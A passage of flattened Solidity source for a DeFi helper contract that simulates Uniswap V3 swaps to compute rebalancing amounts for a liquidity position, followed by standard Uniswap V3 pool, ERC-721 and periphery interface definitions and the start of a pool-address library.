current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; } struct SwapCache { // the protocol fee for the input token uint8 feeProtocol; // lowerPrice uint160 sqrtRatioAX96; // upperPrice uint160 sqrtRatioBX96; // amount0 = token0 uint256 amount0; // amount1 = token1 uint256 amount1; bool originalZeroForOne; } // the top level state of the swap, the results of which are recorded in storage at the end struct SwapState { // the amount remaining to be swapped in/out of the input/output asset uint256 amountSpecifiedRemaining; uint256 sellAmount0; uint256 sellAmount1; uint256 amount0AfterSwap; uint256 amount1AfterSwap; // current sqrt(price) uint160 sqrtPriceX96; // the tick associated with the current price int24 tick; // the current liquidity in range uint128 liquidity; bool zeroForOneAfterSwap; } struct StepComputations { // the price at the beginning of the step uint160 sqrtPriceStartX96; // the next tick to swap to from the current tick in the swap direction int24 tickNext; // whether tickNext is initialized or not bool initialized; // sqrt(price) for the next tick (1/0) uint160 sqrtPriceNextX96; // how much is being swapped in in this step uint256 amountIn; // how much is being swapped out uint256 amountOut; // how much fee is being paid in uint256 feeAmount; } uint256 private constant EPSILON = 10**8; int24 public immutable tickSpacing; uint24 public immutable protocolFee; IUniswapV3Pool public immutable uniswapV3Pool; address public immutable token0; address public immutable token1; constructor(address _uniswapV3Pool) { uniswapV3Pool = IUniswapV3Pool(_uniswapV3Pool); { IUniswapV3Pool UniswapV3Pool = IUniswapV3Pool(_uniswapV3Pool); token0 = UniswapV3Pool.token0(); token1 = UniswapV3Pool.token1(); protocolFee = UniswapV3Pool.fee(); tickSpacing = UniswapV3Pool.tickSpacing(); } } function _bestAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) private pure returns (uint256, uint256) { require(sqrtRatioAX96 <= sqrtRatioX96, 'The current price lower than expected'); require(sqrtRatioX96 <= sqrtRatioBX96, 'The current price upper than expected'); uint128 liquidity0 = LiquidityAmounts.getLiquidityForAmount0( sqrtRatioX96, sqrtRatioBX96, amount0 ); uint128 liquidity1 = LiquidityAmounts.getLiquidityForAmount1( sqrtRatioAX96, sqrtRatioX96, amount1 ); uint256 midLiquidity = ((uint256(liquidity0) + uint256(liquidity1)) >> 1); return ( uint256(SqrtPriceMath.getAmount0Delta(sqrtRatioX96, sqrtRatioBX96, int128(midLiquidity))), uint256(SqrtPriceMath.getAmount1Delta(sqrtRatioAX96, sqrtRatioX96, int128(midLiquidity))) ); } function _zeroForOne( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) private pure returns ( bool, uint256, bool ) { (uint256 bestAmount0, uint256 bestAmount1) = _bestAmounts( sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, amount0, amount1 ); if (bestAmount1 < amount1) { // we need sell token1 return (false, amount1 - bestAmount1, false); } if (amount0 >= bestAmount0) { // we need sell token0 return (true, amount0 - bestAmount0, false); } // overflow return (true, 0, true); } function rebalance( int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1 ) public view returns ( uint256, uint256, uint256, uint256, uint160 ) { Slot0 memory slot0Start; { (uint160 sqrtPriceX96, int24 tick, , , , uint8 feeProtocol, ) = uniswapV3Pool.slot0(); slot0Start = Slot0({ sqrtPriceX96: sqrtPriceX96, tick: tick, feeProtocol: feeProtocol }); } SwapCache memory cache = SwapCache({ feeProtocol: 0, sqrtRatioAX96: TickMath.getSqrtRatioAtTick(tickLower), sqrtRatioBX96: TickMath.getSqrtRatioAtTick(tickUpper), amount0: amount0, amount1: amount1, originalZeroForOne: false }); SwapState memory state = SwapState({ amountSpecifiedRemaining: 0, sellAmount0: 0, sellAmount1: 0, amount0AfterSwap: 0, amount1AfterSwap: 0, sqrtPriceX96: slot0Start.sqrtPriceX96, tick: slot0Start.tick, liquidity: uniswapV3Pool.liquidity(), zeroForOneAfterSwap: false }); bool overflow; (cache.originalZeroForOne, state.amountSpecifiedRemaining, overflow) = _zeroForOne( slot0Start.sqrtPriceX96, cache.sqrtRatioAX96, cache.sqrtRatioBX96, cache.amount0, cache.amount1 ); if (overflow) { return (0, 0, 0, 0, 0); } cache.feeProtocol = cache.originalZeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4); while (state.amountSpecifiedRemaining > 0) { StepComputations memory step; step.sqrtPriceStartX96 = state.sqrtPriceX96; (step.tickNext, step.initialized) = uniswapV3Pool.nextInitializedTickWithinOneWord( state.tick, tickSpacing, cache.originalZeroForOne ); // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds if (step.tickNext < TickMath.MIN_TICK) { step.tickNext = TickMath.MIN_TICK; } else if (step.tickNext > TickMath.MAX_TICK) { step.tickNext = TickMath.MAX_TICK; } // get the price for the next tick step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext); uint160 sqrtPriceX96BeforeSwap = state.sqrtPriceX96; uint160 sqrtRatioTargetX96; { uint160 sqrtPriceLimitX96 = cache.originalZeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1; sqrtRatioTargetX96 = ( cache.originalZeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96 ) ? sqrtPriceLimitX96 : step.sqrtPriceNextX96; } // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath .computeSwapStep( sqrtPriceX96BeforeSwap, sqrtRatioTargetX96, state.liquidity, state.amountSpecifiedRemaining.toInt256(), protocolFee ); if (cache.originalZeroForOne) { state.amount0AfterSwap = cache.amount0 - (step.amountIn + step.feeAmount); state.amount1AfterSwap = cache.amount1 + (step.amountOut); } else { state.amount0AfterSwap = cache.amount0 + (step.amountOut); state.amount1AfterSwap = cache.amount1 - (step.amountIn + step.feeAmount); } uint256 previousAmountRemaining = state.amountSpecifiedRemaining; (state.zeroForOneAfterSwap, state.amountSpecifiedRemaining, overflow) = _zeroForOne( state.sqrtPriceX96, cache.sqrtRatioAX96, cache.sqrtRatioBX96, state.amount0AfterSwap, state.amount1AfterSwap ); if (overflow) { return (0, 0, 0, 0, 0); } // We swapped too much, which means that we need to swap in the backward direction // But we don't want to swap in the backward direction, we need to swap less in forward direction // Let's recalculate forward swap again // Or, if we swapped the full amount if ( state.zeroForOneAfterSwap != cache.originalZeroForOne || state.amountSpecifiedRemaining < EPSILON ) { // let's do binary search to find right value which we need pass into swap int256 l = 0; int256 r = 2 * previousAmountRemaining.toInt256(); uint256 i = 0; while (true) { i = i + 1; int256 mid = (l + r) / 2; (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath .computeSwapStep( sqrtPriceX96BeforeSwap, sqrtRatioTargetX96, state.liquidity, mid, protocolFee ); if (cache.originalZeroForOne) { state.amount0AfterSwap = cache.amount0 - (step.amountIn + step.feeAmount); state.amount1AfterSwap = cache.amount1 + (step.amountOut); } else { state.amount0AfterSwap = cache.amount0 + (step.amountOut); state.amount1AfterSwap = cache.amount1 - (step.amountIn + step.feeAmount); } uint128 liquidity0 = LiquidityAmounts.getLiquidityForAmount0( state.sqrtPriceX96, cache.sqrtRatioBX96, state.amount0AfterSwap ); uint128 liquidity1 = LiquidityAmounts.getLiquidityForAmount1( cache.sqrtRatioAX96, state.sqrtPriceX96, state.amount1AfterSwap ); bool rightDirection = false; if (cache.originalZeroForOne) { if (liquidity0 > liquidity1) { rightDirection = true; l = mid; } else { r = mid; } } else { if (liquidity0 < liquidity1) { rightDirection = true; l = mid; } else { r = mid; } } if (rightDirection && (i >= 70 || l + 1 >= r)) { if (cache.originalZeroForOne) { state.sellAmount0 += step.amountIn + step.feeAmount; } else { state.sellAmount1 += step.amountIn + step.feeAmount; } break; } } state.amountSpecifiedRemaining = 0; } else { if (cache.originalZeroForOne) { state.sellAmount0 += step.amountIn + step.feeAmount; } else { state.sellAmount1 += step.amountIn + step.feeAmount; } cache.amount0 = state.amount0AfterSwap; cache.amount1 = state.amount1AfterSwap; // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee if (cache.feeProtocol > 0) { uint256 delta = step.feeAmount / cache.feeProtocol; step.feeAmount -= delta; } // shift tick if we reached the next price if (state.sqrtPriceX96 == step.sqrtPriceNextX96) { // if the tick is initialized, run the tick transition if (step.initialized) { (, int128 liquidityNet, , , , , , ) = uniswapV3Pool.ticks(step.tickNext); // if we're moving leftward, we interpret liquidityNet as the opposite sign // safe because liquidityNet cannot be type(int128).min if (cache.originalZeroForOne) liquidityNet = -liquidityNet; state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet); } state.tick = cache.originalZeroForOne ? step.tickNext - 1 : step.tickNext; } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) { // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96); } } } return ( state.sellAmount0, state.sellAmount1, state.amount0AfterSwap, state.amount1AfterSwap, state.sqrtPriceX96 ); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Creates and initializes V3 Pools /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that /// require the pool to exist. interface IPoolInitializer { /// @notice Creates a new pool if it does not exist, then initializes if not initialized /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool /// @param token0 The contract address of token0 of the pool /// @param token1 The contract address of token1 of the pool /// @param fee The fee amount of the v3 pool for the specified token pair /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary function createAndInitializePoolIfNecessary( address token0, address token1, uint24 fee, uint160 sqrtPriceX96 ) external payable returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; /// @title Periphery Payments /// @notice Functions to ease deposits and withdrawals of ETH interface IPeripheryPayments { /// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH. /// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users. /// @param amountMinimum The minimum amount of WETH9 to unwrap /// @param recipient The address receiving ETH function unwrapWETH9(uint256 amountMinimum, address recipient) external payable; /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() external payable; /// @notice Transfers the full amount of a token held by this contract to recipient /// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users /// @param token The contract address of the token which will be transferred to `recipient` /// @param amountMinimum The minimum amount of token required for a transfer /// @param recipient The destination address of the token function sweepToken( address token, uint256 amountMinimum, address recipient ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Immutable state /// @notice Functions that return immutable state of the router interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 